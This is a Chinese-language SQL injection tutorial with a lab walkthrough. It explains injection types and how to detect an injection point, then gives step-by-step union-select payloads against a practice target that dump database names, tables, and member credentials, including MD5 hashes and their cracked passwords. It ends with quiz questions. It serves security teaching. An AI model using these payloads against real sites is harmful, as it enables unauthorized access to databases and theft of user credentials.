前言
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
SQL简介
SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。
SQL注入
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。
SQL注入产生原理
- 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入
- 使用了字符串拼接的方式构造SQL语句
SQL注入的分类
从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)
SQL注入的危害
分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)
- 数据库信息泄露
- 网页篡改:登陆后台后发布恶意内容
- 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
- 私自添加系统账号
- 读写文件获取webshell
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
必要知识
1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3.常用参数
- information_schema.tables:记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- table_name:表名
- column_name:列名
- table_schema:数据库名
- user() 查看当前MySQL登录的用户名
- database() 查看当前使用MySQL数据库名
- version() 查看当前MySQL版本
如何判断注入点
1.如果页面中MySQL报错,证明该页面中存在SQL注入漏洞
单引号 '
and 1=1
and 1=2
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
2.逻辑运算符(或与非)
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常
SQL注入利用
1.利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3--+
2.利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
3.利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version() --+
4.利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
5.利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+
6.利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
测试演示
要选用最舒服的方法测试:
SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1
随便输入后对网页有影响说明带入数据库进行查询,有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测,没有漏洞
1.猜解列名数量(字段数)
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
http://219.153.49.228:48965/new_list.php?id=1 order by 4
2.报错猜解准备
http://219.153.49.228:48965/new_list.php?id=1 union select 1,2,3,4
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,2,3,4
或者
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,2,3,4
3.信息收集
数据库版本:version() == 5.7.22-0ubuntu0.16.04.1==
数据库名字:database() == mozhe_Discuz_StormGroup==
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,version(),database(),4
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,user(),@@version_compile_os,4
4.查询指定数据库名 “mozhe_Discuz_StormGroup” 下的表名信息:
- 查询一个
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查询所有
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查询到的表名
StormGroup_member, notice
5.查询指定表名“StormGroup_member”下的列名信息
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询的结果
id,name,password,status
6.查询指定数据
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
查询结果
mozhe
356f589a7df439f6f744ff19bb8092c0 -md5解密--> dsan13
7.猜解多个数据可以采用limit x,1变动猜解
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1
mozhe
356f589a7df439f6f744ff19bb8092c0 --md5解密--> dsan13
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
mozhe
2ae4c2ac594629684e67554fc5ad6ee1 --md5解密--> 147719
题目
-
可能存在注入的编号选项有哪几个?
www.xiaodi8.com/index.php?id=8 www.xiaodi8.com/?id=10 www.xiaodi8.com/?id=10&x=1 www.xiaodi8.com/index.php(post注入)
-
参数有x注入,以下哪个注入测试正确
A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2 B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1 C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1 D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1
-
如果参数id存在注入点,参数的位置可以互换,使用工具的时候要注意
http://www/cnhgs.net/main.php?id53(注入点) and 1=2 &page=1 -> http://www/cnhgs.net/main.php?page=1&id53(注入点) and 1=2